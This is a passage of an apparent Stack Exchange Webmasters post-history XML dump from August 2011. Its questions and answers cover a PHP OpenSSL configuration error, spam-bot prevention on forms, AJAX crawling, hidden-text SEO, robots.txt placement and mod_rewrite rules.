http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo-&gt;__construct() at /var/www/mahara/api/xmlrpc/lib.php:1131, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo::singleton() at /var/www/mahara/admin/site/networking.php:56, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx] , referer: http://example.com/mahara/admin/&#xD;&#xA;&#xD;&#xA;I don't quite get it. What exactly is wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit**: Just to clarify: The issue seems to be with PHP, the Apache seems fine: `Apache/2.2.14 (Ubuntu) mod_ssl/2.2.14 OpenSSL/0.9.8k configured -- resuming normal operations`" />
  <row Id="45728" PostHistoryTypeId="1" PostId="18742" RevisionGUID="01d5348b-fc58-43c9-9d2e-b7266f2bf4d6" CreationDate="2011-08-25T12:36:32.163" UserId="7231" Text="OpenSSL configuration for PHP on Apache not working" />
  <row Id="45729" PostHistoryTypeId="3" PostId="18742" RevisionGUID="01d5348b-fc58-43c9-9d2e-b7266f2bf4d6" CreationDate="2011-08-25T12:36:32.163" UserId="7231" Text="&lt;php&gt;&lt;apache&gt;&lt;openssl&gt;" />
  <row Id="45730" PostHistoryTypeId="14" PostId="18742" RevisionGUID="a0975966-3f2e-432e-bce5-a32c0b5027ed" CreationDate="2011-08-25T13:06:37.987" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45731" PostHistoryTypeId="17" PostId="18742" RevisionGUID="562f4cab-3c58-4100-9433-fdcf052d4a06" CreationDate="2011-08-25T13:06:38.003" UserId="1253" Comment="to http://serverfault.com/questions/304888/openssl-configuration-for-php-on-apache-not-working" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45732" PostHistoryTypeId="10" PostId="18742" RevisionGUID="7401eb4d-6754-4d8b-bc4f-6833d6e88c37" CreationDate="2011-08-25T13:06:35.897" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45733" PostHistoryTypeId="2" PostId="18743" RevisionGUID="1671d1c2-6d08-4bce-8b2c-d0c23549f504" CreationDate="2011-08-25T13:14:35.800" UserId="9827" Text="I work in a newspaper publishing company and currently, all the contents in our site is free and no user registration is required.&#xD;&#xA;&#xD;&#xA;Recently, the lifestyle column team proposed to implement a small and simple portal where viewers can make simple suggestions as to where to dine. The team then suggested to implement a simple user registration; asking for name, email and password. Or if they do not want to register for an account; they can login with their Facebook account. This is so that they could keep track of who suggested what.&#xD;&#xA;&#xD;&#xA;However, I think this is counter-productive as we don't really provide any value in return. As the team said, they just want to keep it really simple. There will be no user control panel and they won't be doing anything with the user data such as sending promotional newsletter etc.&#xD;&#xA;&#xD;&#xA;As such is it really feasible to implement a user registration in situations like these?&#xD;&#xA;" />
  <row Id="45734" PostHistoryTypeId="1" PostId="18743" RevisionGUID="1671d1c2-6d08-4bce-8b2c-d0c23549f504" CreationDate="2011-08-25T13:14:35.800" UserId="9827" Text="Is the idea of user registration flawed if we can't provide any real value for it?" />
  <row Id="45735" PostHistoryTypeId="3" PostId="18743" RevisionGUID="1671d1c2-6d08-4bce-8b2c-d0c23549f504" CreationDate="2011-08-25T13:14:35.800" UserId="9827" Text="&lt;users&gt;&lt;registration&gt;" />
  <row Id="45736" PostHistoryTypeId="2" PostId="18744" RevisionGUID="27fb844b-ab83-4ade-a05f-623308a82686" CreationDate="2011-08-25T13:22:31.683" UserId="9830" Text="If I were to generate my field names randomly each time a contact form was rendered, would that help prevent SPAM bots from recognizing the fields?  Can they read label text?" />
  <row Id="45737" PostHistoryTypeId="1" PostId="18744" RevisionGUID="27fb844b-ab83-4ade-a05f-623308a82686" CreationDate="2011-08-25T13:22:31.683" UserId="9830" Text="Can randomly-generated field names help avoid SPAM bots?" />
  <row Id="45738" PostHistoryTypeId="3" PostId="18744" RevisionGUID="27fb844b-ab83-4ade-a05f-623308a82686" CreationDate="2011-08-25T13:22:31.683" UserId="9830" Text="&lt;spam&gt;&lt;spam-prevention&gt;" />
  <row Id="45740" PostHistoryTypeId="2" PostId="18746" RevisionGUID="3ad0262f-b182-49f6-9ccf-45150f57f519" CreationDate="2011-08-25T13:29:30.713" UserId="1253" Text="It will help but it won't prevent it from stopping all spam. The changing name fields, assuming they are unique every time the form is displayed, will help stop the bots that depend on knowing the form fields ahead of time to complete the form. It will also help stop the bots that look for exact field names like &quot;name&quot; and &quot;email&quot;, etc.&#xD;&#xA;&#xD;&#xA;What it won't stop are bots that are smart enough to look for field names that are *like* common field names but not always exactly the same. They look for fields that contain common field names like &quot;name&quot; and &quot;email&quot;. So if your form uses those identifiers inside of your dynamic field names they will still get through. Your idea also won't stop human spammers at all. They'll just fill out the form and submit it without any difficulty at all.&#xD;&#xA;&#xD;&#xA;If you want to stop bots, these are some options you can implement along with your dynamic field names:&#xD;&#xA;&#xD;&#xA;1) Putting a fake field that only bots will see. Then if that field is submitted with the rest of the form you can ignore it (and ban them if desired). You can also [trap bad bots who follow a hidden link][1].&#xD;&#xA;&#xD;&#xA;2) Use a CAPATCHA like [reCAPTCHA][2] &#xD;&#xA;&#xD;&#xA;3) Use a field that requires the user to answer a question like what is 5 + 3. Any human can answer it but a bot won't know what to do since it is auto-populating fields based on field names. So that field will be either incorrect or missing in which case the submission will be rejected.&#xD;&#xA;&#xD;&#xA;4) Use a token and put it into a session and also add it to the form. If the token is not submitted with the form or doesn't match then it is automated and can be ignored.&#xD;&#xA;&#xD;&#xA;5) Look for repeated submissions from the same IP address. If your form shouldn't get too many requests but suddenly is it probably is being hit by a bot and you should consider temporarily blocking the IP address.&#xD;&#xA;&#xD;&#xA;6) Use [Askimet][3]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kloth.net/internet/bottrap.php&#xD;&#xA;  [2]: http://recaptcha.com/&#xD;&#xA;  [3]: http://akismet.com/" />
  <row Id="45741" PostHistoryTypeId="2" PostId="18747" RevisionGUID="4ef13408-03b9-4bdb-ace4-889938bb5d36" CreationDate="2011-08-25T13:31:55.023" UserId="9831" Text="In Google's Ajax crawling document, they gives an option to crawl url's missing #!, Ie to add a metatag '!' to the page header to signal crawlers about ajax crawling compatibility. &#xD;&#xA;&#xD;&#xA;Have anyone found the option working, as i can't find the Google bot queries getting html snapshots of the pages while queried through fetch as Google bot in webmasters." />
  <row Id="45742" PostHistoryTypeId="1" PostId="18747" RevisionGUID="4ef13408-03b9-4bdb-ace4-889938bb5d36" CreationDate="2011-08-25T13:31:55.023" UserId="9831" Text="Ajax crawl for non #! url addresses?" />
  <row Id="45743" PostHistoryTypeId="3" PostId="18747" RevisionGUID="4ef13408-03b9-4bdb-ace4-889938bb5d36" CreationDate="2011-08-25T13:31:55.023" UserId="9831" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;ajax&gt;" />
  <row Id="45745" PostHistoryTypeId="2" PostId="18748" RevisionGUID="55a39f0f-aec9-4a1c-82b7-62d6d4541b64" CreationDate="2011-08-25T13:49:33.747" UserId="221" Text="It is another feature that will need to be maintained so if the value is very low ...&#xD;&#xA;&#xD;&#xA;There is also the consideration that a lot of people will not want to register for 'yet another account'.&#xD;&#xA;&#xD;&#xA;I've made the mistake of adding a user account system where one wasn't really needed and would avoid doing so again. &#xD;&#xA;&#xD;&#xA;Perhaps consider a system similar to what Blogger uses for comments, where the user can choose one of several options (in your case Facebook account would be one of them) including name/url (which are not verified in any way) and anonymous." />
  <row Id="45746" PostHistoryTypeId="2" PostId="18749" RevisionGUID="35311def-9453-4f45-abb7-d9c27a37faf8" CreationDate="2011-08-25T14:00:27.427" UserId="9833" Text="A majority of computer savvy people still don't have any idea about upgrading the browser. They are afraid of the installation screens and a terrified they might crash the system.&#xD;&#xA;&#xD;&#xA;Others stick to the old saying 'OLD IS GOLD'." />
  <row Id="45749" PostHistoryTypeId="5" PostId="18747" RevisionGUID="dac8b761-924b-4947-874d-351faa15733e" CreationDate="2011-08-25T14:27:06.407" UserId="7198" Comment="Added link to cited document, fixed grammar and formatting " Text="In Google's advice on [&quot;Making AJAX Applications Crawlable&quot;](http://code.google.com/web/ajaxcrawling/docs/specification.html), they give an option to make AJAX URLs that aren't using hash-bang fragments (#!) crawlable by adding `&lt;meta name=&quot;fragment&quot; content=&quot;!&quot;&gt;` to the page `&lt;head&gt;`.&#xD;&#xA;&#xD;&#xA;Has anyone had success with this? I can't find Googlebot taking HTML snapshots of the pages when using 'Fetch as Googlebot' in Webmaster Tools." />
  <row Id="45750" PostHistoryTypeId="6" PostId="18747" RevisionGUID="dac8b761-924b-4947-874d-351faa15733e" CreationDate="2011-08-25T14:27:06.407" UserId="7198" Comment="Added link to cited document, fixed grammar and formatting " Text="&lt;seo&gt;&lt;search-engines&gt;&lt;google-search&gt;&lt;ajax&gt;" />
  <row Id="45751" PostHistoryTypeId="4" PostId="18747" RevisionGUID="dac8b761-924b-4947-874d-351faa15733e" CreationDate="2011-08-25T14:27:06.407" UserId="7198" Comment="Added link to cited document, fixed grammar and formatting " Text="How to get Google to crawl AJAX pages without using #!  URLs?" />
  <row Id="45752" PostHistoryTypeId="5" PostId="18717" RevisionGUID="78647764-0e96-4496-a785-6b087339f4f8" CreationDate="2011-08-25T14:30:21.067" UserId="9099" Comment="added 347 characters in body" Text="When looking at the definition of &quot;unique events&quot;, it states that it is &quot;The total number of unique events for the profile, across all categories.&quot; It is entirely possible that one visitor is triggering more than one event, especially if they are visiting multiple categories. Also, when you compare &quot;visitors&quot; with &quot;visits&quot;, you should keep in mind that &quot;visits&quot; will be recorded only on those pages where the custom variables are being used. &#xD;&#xA;&#xD;&#xA;I'm not sure if your example that you listed above is showing a different category in each row, or if it is the results for one category across multiple days. If each row is a different day, then it would be interesting to see what your numbers are by category to see if the unique events count for each category is the same. If each row is a different category, then it would be interesting to see which &quot;unique events&quot; are being recorded for each category. &#xD;&#xA;&#xD;&#xA;Either way, the bottom line is for you to determine which piece of information is more relevant for you. Since it appears that you want to track information for each category separately, I would believe that using &quot;unique events&quot; would not be the best approach because those numbers seem to represent the events across ALL categories. You could also look at each number separately for different purposes. &#xD;&#xA;&#xD;&#xA;For example, tracking the number of visits for each category will give you an idea as to the amount of traffic going to that category. Tracking the number of events for each category will give you an idea as to how much activity is going on in each category once you get a visitor there. Both approaches are relevants and provide important information. If the number of visits is low, it may be because the category isn't interesting or isn't promoted as well. If the visits are high but the unique events is low, then it could indicate that there isn't much going on in that category once people get there.&#xD;&#xA;&#xD;&#xA;Don't limit yourself to one or the other. Using both in conjunction will give you a more complete picture.&#xD;&#xA;&#xD;&#xA;EDIT - I found [a link that provides a little more information][1] about this. Since we can't see how you have your tracking code set up, it's hard to determine what you might be missing. Please not the paragraph pertaining to &quot;unique events&quot; on this page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html" />
  <row Id="45753" PostHistoryTypeId="5" PostId="18747" RevisionGUID="3681caf4-9c8d-43b8-9938-8cef1fb9c09d" CreationDate="2011-08-25T14:32:51.127" UserId="7198" Comment="deleted 9 characters in body" Text="In Google's advice on [&quot;Making AJAX Applications Crawlable&quot;](http://code.google.com/web/ajaxcrawling/docs/specification.html), they advise making AJAX URLs that aren't using hash-bang fragments (#!) crawlable by adding `&lt;meta name=&quot;fragment&quot; content=&quot;!&quot;&gt;` to the page `&lt;head&gt;`.&#xD;&#xA;&#xD;&#xA;Has anyone had success with this? I can't find Googlebot taking HTML snapshots of the pages when using 'Fetch as Googlebot' in Webmaster Tools." />
  <row Id="45754" PostHistoryTypeId="2" PostId="18751" RevisionGUID="33d79a73-86ce-4d0d-b01a-52ef0dd624e7" CreationDate="2011-08-25T15:20:41.413" UserId="9836" Text="I'm developing a site for a client. They've got a site now that's hosted at hosting.com. I'm going to move them to my VM hosting solution at edge web but I want to run some tests and have the client approve the site before changing the name servers to the new site/hosting location.&#xD;&#xA;&#xD;&#xA;How do I make this happen? I'm running a red hat/Apache on linux for the edge web hosting. I don't have control of the domain name (i.e. the client controls that right now).&#xD;&#xA;&#xD;&#xA;Edgeweb has set up a dns zone for the domain name so that when the time comes to switch we're ready to go.&#xD;&#xA;&#xD;&#xA;I'm a web developer and I understand the technologies that make a user experience 'work' but I'm unfamiliar with the server jargon and all that so, please be patient.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="45755" PostHistoryTypeId="1" PostId="18751" RevisionGUID="33d79a73-86ce-4d0d-b01a-52ef0dd624e7" CreationDate="2011-08-25T15:20:41.413" UserId="9836" Text="Set up development site on another server/host" />
  <row Id="45756" PostHistoryTypeId="3" PostId="18751" RevisionGUID="33d79a73-86ce-4d0d-b01a-52ef0dd624e7" CreationDate="2011-08-25T15:20:41.413" UserId="9836" Text="&lt;web-hosting&gt;&lt;domains&gt;&lt;web-development&gt;" />
  <row Id="45757" PostHistoryTypeId="2" PostId="18752" RevisionGUID="a460a0bd-5ce9-44a5-b502-f1f9e092b5ec" CreationDate="2011-08-25T15:26:55.417" UserId="8009" Text="I believe requiring user accounts for basic interaction with a website (like in your case) creates a poor user experience. You're much more likely to entise the odd few users to give some input if you make the process as easy as possible.&#xD;&#xA;&#xD;&#xA;To make the process as easy as possible and succeed in harvesting a bit of info from your visitors I would:&#xD;&#xA;&#xD;&#xA; 1. Scrap the idea of users having to register&#xD;&#xA; 2. Offer a simple form with all fields being optional, bar the 'suggestions/comments' box.&#xD;&#xA; 3. Create a thank-you page or better still, AJAX &quot;dat thang&quot; and have a thank-you message appear after they submit their suggestion.&#xD;&#xA; 4. (optional) Add some small print clarifying that any suggestions become your company's property, if you feel it necessary.&#xD;&#xA;&#xD;&#xA;I uphold that if you want someone to take the time out of their day to make a suggestion to benefit you, you should provide the best user experience possible. It's the least you can do, or should do.&#xD;&#xA;" />
  <row Id="45758" PostHistoryTypeId="2" PostId="18753" RevisionGUID="035230fb-f36c-4eb3-a3a5-58fef1d30561" CreationDate="2011-08-25T15:28:44.310" UserId="8009" Text="What exactly do you mean by 'tactics'?&#xD;&#xA;&#xD;&#xA;The tactics haven't changed since the dropping of support by most major search engines for the meta keywords tag.&#xD;&#xA;&#xD;&#xA;Since then, the tactics have consisted of greating brilliant content. " />
  <row Id="45759" PostHistoryTypeId="25" PostId="18744" RevisionGUID="694506ca-0170-4dc3-83b0-c51285a2dccc" CreationDate="2011-08-25T15:35:17.160" Comment="http://twitter.com/#!/StackWebmasters/status/106751507818479617" />
  <row Id="45760" PostHistoryTypeId="2" PostId="18754" RevisionGUID="72fc015a-f01f-476b-b6f4-314409d7341c" CreationDate="2011-08-25T15:35:56.217" UserId="9496" Text="I'm a tester for a small organization that creates web applications supporting the full gamut of IE versions.&#xD;&#xA;&#xD;&#xA;One of my jobs is to ensure that the application works well in Microsoft Internet Explorer 6. To do this, I have a range of virtual machines and the IE6 testing suite.&#xD;&#xA;&#xD;&#xA;The problem is, none of these environments seems 100% reliable. My virtual machines (VirtualPC and VirtualBox) have both thrown me errors that the developer team can't replicate - even when testing native installations.&#xD;&#xA;&#xD;&#xA;We've had particular problem when developing for a client of ours who use IE6 exclusively. During field testing, we found our javascript-heavy functionality could throw up bugs in virtual machines which did not appear in real life. IETester can also throw false positives, especially with javascript.&#xD;&#xA;&#xD;&#xA;Whilst I have never seen any false *negatives*, this has still caused us many headaches and wasted a lot of time on bugs that don't really exist.&#xD;&#xA;&#xD;&#xA;My question is this: **does anyone know if any particular virtualization environment achieves perfect IE6 'emulation', or do I have no choice except to hunt down an old WinXP IE6 box? Has anyone else experienced similar difficulties - if so, how did you work around them?**" />
  <row Id="45761" PostHistoryTypeId="1" PostId="18754" RevisionGUID="72fc015a-f01f-476b-b6f4-314409d7341c" CreationDate="2011-08-25T15:35:56.217" UserId="9496" Text="False positives when testing IE6 in virtual machines" />
  <row Id="45762" PostHistoryTypeId="3" PostId="18754" RevisionGUID="72fc015a-f01f-476b-b6f4-314409d7341c" CreationDate="2011-08-25T15:35:56.217" UserId="9496" Text="&lt;testing&gt;&lt;internet-explorer-6&gt;" />
  <row Id="45763" PostHistoryTypeId="6" PostId="18754" RevisionGUID="3e39bbc4-a1de-40ba-9cbc-51b2419bcfde" CreationDate="2011-08-25T15:42:37.187" UserId="9496" Comment="edited tags" Text="&lt;internet-explorer&gt;&lt;testing&gt;&lt;internet-explorer-6&gt;" />
  <row Id="45764" PostHistoryTypeId="6" PostId="15231" RevisionGUID="aeddc9d4-0f20-466c-ba61-2e3674c665e2" CreationDate="2011-08-25T16:10:32.783" UserId="4502" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;server&gt;&lt;open-source&gt;&lt;music&gt;" />
  <row Id="45765" PostHistoryTypeId="2" PostId="18755" RevisionGUID="a17bec01-1bca-4ebb-a69e-e0f9527fa098" CreationDate="2011-08-25T17:16:12.260" UserId="9841" Text="look for base64 encoding in your theme&#xD;&#xA;&#xD;&#xA;http://techpp.com/2008/11/29/how-to-decode-encoded-php-script-in-wordpress-themes/" />
  <row Id="45766" PostHistoryTypeId="2" PostId="18756" RevisionGUID="b8a47097-2ba0-4165-bd58-a91e1bc0b052" CreationDate="2011-08-25T17:25:46.297" UserId="9355" Text="view-source:http://www.absolutestoneandtile.com/&#xD;&#xA;&#xD;&#xA;They are an entirely flash based website, but are higher up on the search list than me. So I thought I would see why and I noticed that there is a bunch of commented out text with the Keyword &quot;ABSOLUTE&quot; in it. Is that considered black hat seo?" />
  <row Id="45767" PostHistoryTypeId="1" PostId="18756" RevisionGUID="b8a47097-2ba0-4165-bd58-a91e1bc0b052" CreationDate="2011-08-25T17:25:46.297" UserId="9355" Text="Is This Considered &quot;Black Hat&quot; SEO?" />
  <row Id="45768" PostHistoryTypeId="3" PostId="18756" RevisionGUID="b8a47097-2ba0-4165-bd58-a91e1bc0b052" CreationDate="2011-08-25T17:25:46.297" UserId="9355" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;google-search&gt;&lt;bing&gt;&lt;blackhat&gt;" />
  <row Id="45769" PostHistoryTypeId="2" PostId="18757" RevisionGUID="3086e3c1-14e9-47de-b9b2-cab36a7e25d6" CreationDate="2011-08-25T17:29:03.270" UserId="1253" Text="No, because comments are ignored by search engines. &#xD;&#xA;&#xD;&#xA;Although Flash based websites at are a disadvantage SEO wise because they lack semantic markup and usually lack internal linking as well, they do still benefit from incoming links from other websites in addition to other factors like page title, etc. " />
  <row Id="45770" PostHistoryTypeId="5" PostId="18756" RevisionGUID="253b168b-2e83-44a4-8233-fe3afe691b7b" CreationDate="2011-08-25T17:30:31.800" UserId="1253" Comment="added 21 characters in body; edited tags" Text="View the source of this website: http://www.absolutestoneandtile.com/&#xD;&#xA;&#xD;&#xA;They are an entirely flash based website, but are higher up on the search list than me. So I thought I would see why and I noticed that there is a bunch of commented out text with the Keyword &quot;ABSOLUTE&quot; in it. Is that considered black hat seo?" />
  <row Id="45771" PostHistoryTypeId="6" PostId="18756" RevisionGUID="253b168b-2e83-44a4-8233-fe3afe691b7b" CreationDate="2011-08-25T17:30:31.800" UserId="1253" Comment="added 21 characters in body; edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;blackhat&gt;" />
  <row Id="45772" PostHistoryTypeId="2" PostId="18758" RevisionGUID="d2c534cd-2730-4dc2-8036-034c9d7a443c" CreationDate="2011-08-25T17:38:38.720" UserId="1112" Text="If I have a subdomain:  &#xD;&#xA;subdir.a.com that redirects to a.com/myfolder/  &#xD;&#xA;should the robots.txt file be in:  &#xD;&#xA;subdir.a.com/robots.txt or in  &#xD;&#xA;a.com/myfolder/robots.txt  " />
  <row Id="45773" PostHistoryTypeId="1" PostId="18758" RevisionGUID="d2c534cd-2730-4dc2-8036-034c9d7a443c" CreationDate="2011-08-25T17:38:38.720" UserId="1112" Text="Where should the robots.txt file be?" />
  <row Id="45774" PostHistoryTypeId="3" PostId="18758" RevisionGUID="d2c534cd-2730-4dc2-8036-034c9d7a443c" CreationDate="2011-08-25T17:38:38.720" UserId="1112" Text="&lt;robots.txt&gt;" />
  <row Id="45775" PostHistoryTypeId="2" PostId="18759" RevisionGUID="5666bf7c-f7d3-474b-b49f-3ab67e33467e" CreationDate="2011-08-25T17:41:34.817" UserId="1253" Text="It goes in the root web directory of the subdomain. In your example physically it will be in your a.com/myfolder/ directory but over HTTP it will be accessible at http://subdir.a.com/robots.txt." />
  <row Id="45776" PostHistoryTypeId="2" PostId="18760" RevisionGUID="5ff4e8e6-4da0-46fd-a9b0-bf300dba3fb2" CreationDate="2011-08-25T17:47:32.020" UserId="9785" Text="i do know that if the text on the flash site is static and not being gathered from else where adobe and google got together to make the flash websites searchable at all. but making all the content that static would be counter productive when they have to update it. but who knows some companies just have alot of money to spend." />
  <row Id="45777" PostHistoryTypeId="2" PostId="18761" RevisionGUID="00b45fb5-37e0-4487-bce0-603e8933db43" CreationDate="2011-08-25T17:57:04.777" UserId="9785" Text="Hosting does not tend to cost to much if you shop around. and if it is for a small traffic sight or just to get people to view your page you could try self hosting. I do that when I need to test php scripts or develop sites before I have proper hosting setup. I use XAMPP from apache friends. It has simple setup for an apache server and supports PHP5 and MySQL right out the gate." />
  <row Id="45780" PostHistoryTypeId="5" PostId="18717" RevisionGUID="8df506c8-74f8-4011-ba61-21e0e437835c" CreationDate="2011-08-25T18:11:28.177" UserId="9099" Comment="corrected a typo" Text="When looking at the definition of &quot;unique events&quot;, it states that it is &quot;The total number of unique events for the profile, across all categories.&quot; It is entirely possible that one visitor is triggering more than one event, especially if they are visiting multiple categories. Also, when you compare &quot;visitors&quot; with &quot;visits&quot;, you should keep in mind that &quot;visits&quot; will be recorded only on those pages where the custom variables are being used. &#xD;&#xA;&#xD;&#xA;I'm not sure if your example that you listed above is showing a different category in each row, or if it is the results for one category across multiple days. If each row is a different day, then it would be interesting to see what your numbers are by category to see if the unique events count for each category is the same. If each row is a different category, then it would be interesting to see which &quot;unique events&quot; are being recorded for each category. &#xD;&#xA;&#xD;&#xA;Either way, the bottom line is for you to determine which piece of information is more relevant for you. Since it appears that you want to track information for each category separately, I would believe that using &quot;unique events&quot; would not be the best approach because those numbers seem to represent the events across ALL categories. You could also look at each number separately for different purposes. &#xD;&#xA;&#xD;&#xA;For example, tracking the number of visits for each category will give you an idea as to the amount of traffic going to that category. Tracking the number of events for each category will give you an idea as to how much activity is going on in each category once you get a visitor there. Both approaches are relevants and provide important information. If the number of visits is low, it may be because the category isn't interesting or isn't promoted as well. If the visits are high but the unique events is low, then it could indicate that there isn't much going on in that category once people get there.&#xD;&#xA;&#xD;&#xA;Don't limit yourself to one or the other. Using both in conjunction will give you a more complete picture.&#xD;&#xA;&#xD;&#xA;EDIT - I found [a link that provides a little more information][1] about this. Since we can't see how you have your tracking code set up, it's hard to determine what you might be missing. Please note the paragraph pertaining to &quot;unique events&quot; on this page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html" />
  <row Id="45781" PostHistoryTypeId="17" PostId="18763" RevisionGUID="4d9693d1-e296-43ad-adb0-7a576fe17f6b" CreationDate="2011-08-25T18:26:12.017" UserId="-1" Comment="from http://stackoverflow.com/questions/7194856/how-google-reacts-on-displaynone-for-css-media-query" Text="" />
  <row Id="45782" PostHistoryTypeId="17" PostId="18764" RevisionGUID="3599b6be-d432-4e94-9746-37e4d3efcc7b" CreationDate="2011-08-25T18:26:12.017" UserId="-1" Comment="from http://stackoverflow.com/questions/7194856/how-google-reacts-on-displaynone-for-css-media-query" Text="" />
  <row Id="45783" PostHistoryTypeId="2" PostId="18764" RevisionGUID="d2479694-35f6-408e-9953-83dc9aa94f8e" CreationDate="2011-08-25T17:57:19.577" UserId="1253" Text="Google has **no** problem with hidden text. They *do* have a problem with hidden text that **is only available to search engines for the manipulation of their rankings**. &#xD;&#xA;&#xD;&#xA;So unless your hidden text is only there for the search engines to see, you have nothing to worry about. And making your site mobile friendly by removing content is definitely common and acceptable." />
  <row Id="45784" PostHistoryTypeId="2" PostId="18763" RevisionGUID="d091ba52-2c38-4d86-a59c-556695b1ab3b" CreationDate="2011-08-25T17:37:12.580" UserDisplayName="Evan Shajed" Text="According to Google Webmaster guideline &quot;Hidden text&quot; is not acceptable. Which means I do have a dov containing some good amount of title or paragraph with link or images if I make it display:none in my CSS, it is against Google crawl policy (thats how it seems).&#xD;&#xA;&#xD;&#xA;My question is if I use it within media queries how Google will react? I mean &#xD;&#xA;&#xD;&#xA;    @media handheld, only screen and (max-width: 767px) {&#xD;&#xA;        body {&#xD;&#xA;        }&#xD;&#xA;        .mobile-friendly{ display:none;}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;for fluid website development we often have to hide certain contents to make the site mobile friendly. Rather than making css for each browser we now code css within same file and define browser behaviour using media queries.&#xD;&#xA;&#xD;&#xA;So is google take any action against it?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="45785" PostHistoryTypeId="1" PostId="18763" RevisionGUID="d091ba52-2c38-4d86-a59c-556695b1ab3b" CreationDate="2011-08-25T17:37:12.580" UserDisplayName="Evan Shajed" Text="How Google reacts on display:none for CSS media query?" />
  <row Id="45786" PostHistoryTypeId="3" PostId="18763" RevisionGUID="d091ba52-2c38-4d86-a59c-556695b1ab3b" CreationDate="2011-08-25T17:37:12.580" UserDisplayName="Evan Shajed" Text="&lt;css&gt;&lt;web-development&gt;&lt;google&gt;&lt;seo&gt;&lt;media&gt;" />
  <row Id="45787" PostHistoryTypeId="25" PostId="18763" RevisionGUID="a9daf9ff-45d0-4f02-b3c7-f0b0e1eb9ac8" CreationDate="2011-08-25T18:35:17.657" Comment="http://twitter.com/#!/StackWebmasters/status/106796806654017536" />
  <row Id="45788" PostHistoryTypeId="5" PostId="18732" RevisionGUID="8b53fa65-8dc1-4b1d-9232-87782cc37e31" CreationDate="2011-08-25T18:38:47.277" UserId="6441" Comment="Remove irrelevant info on javascript." Text="I'm developing forum/blog hosting software. I'd like [the forum/blog owners&#xD;&#xA;that'll be using my service] to be able to layout and style their own pages, e.g. make their own forum/blog &quot;landing page&quot;, or about page, or page listing the hottest forum threads.&#xD;&#xA;&#xD;&#xA;I figure I could either build some graphical HTML design tool, which allows&#xD;&#xA;forum/blog owners to visually drag-and-drop page components to construct pages.&#xD;&#xA;Reminiscent of e.g. drag-and-drop-website-builder `http://www.weebly.com/`, or&#xD;&#xA;`http://snappages.com/` or `http://doodlekit.com/`.&#xD;&#xA;&#xD;&#xA;Or I could provide a [template language][1], so forum/blog owners could write&#xD;&#xA;their own CSS and HTML in that template language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- The template language approach seems terribly much easier than the&#xD;&#xA;  graphical design tool approach, and more&#xD;&#xA;  powerful for those who understands HTML — but terribly hard for those who&#xD;&#xA;  don't?&#xD;&#xA;&#xD;&#xA;- I want to spend as little time as possible with this templating / design tool&#xD;&#xA;  stuff. It's not particularly related to the Unique Selling Point. But I&#xD;&#xA;  think I need to do something.&#xD;&#xA;&#xD;&#xA;*Questions:*&#xD;&#xA;&#xD;&#xA;1. What do you think I should do? Start with a template system and then later&#xD;&#xA;on consider some user friendly graphical design tools? Or let non-techies&#xD;&#xA;click-and-choose between templates/CSS made available by technically skilled&#xD;&#xA;people?&#xD;&#xA;&#xD;&#xA;2. Other benefits/drawbacks of the template or graphical-design-tool approaches?&#xD;&#xA;&#xD;&#xA;3. Do you have any general comments? E.g. in what manners is all this silly? Or&#xD;&#xA;what should I do differently... or not at all?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Template_engine_%28web%29#Example" />
  <row Id="45790" PostHistoryTypeId="2" PostId="18766" RevisionGUID="3a5df679-11c4-4b31-9428-139fec95076e" CreationDate="2011-08-25T18:56:53.360" UserId="8463" Text="I am trying to match a single reference in a URL to pass to a script, while retaining the rest as the path to the script. For example:&#xD;&#xA;&#xD;&#xA;    #/scripts/paramater/foo/bar.php should call&#xD;&#xA;    #/scripts/foo/bar.php?id=parameter&#xD;&#xA;    RewriteRule ^scripts/([^/]+)/(.*)$ scripts/$2?project_slug=$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;However my backreference is matching multiple times. $2 only contains &quot;bar.php&quot; and $1 is somehow repeating for &quot;parameter&quot; and &quot;foo&quot;.&#xD;&#xA;&#xD;&#xA;How can I prevent the backreference from repeating itself?" />
  <row Id="45791" PostHistoryTypeId="1" PostId="18766" RevisionGUID="3a5df679-11c4-4b31-9428-139fec95076e" CreationDate="2011-08-25T18:56:53.360" UserId="8463" Text="mod_rewrite prevent repeating backreference" />
  <row Id="45792" PostHistoryTypeId="3" PostId="18766" RevisionGUID="3a5df679-11c4-4b31-9428-139fec95076e" CreationDate="2011-08-25T18:56:53.360" UserId="8463" Text="&lt;mod-rewrite&gt;" />
  <row Id="45793" PostHistoryTypeId="17" PostId="18767" RevisionGUID="f4d92455-2929-4507-93df-414ef615bafa" CreationDate="2011-08-25T19:12:51.073" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18407/why-dont-people-embed-style-and-scripts-in-the-html" Text="" />
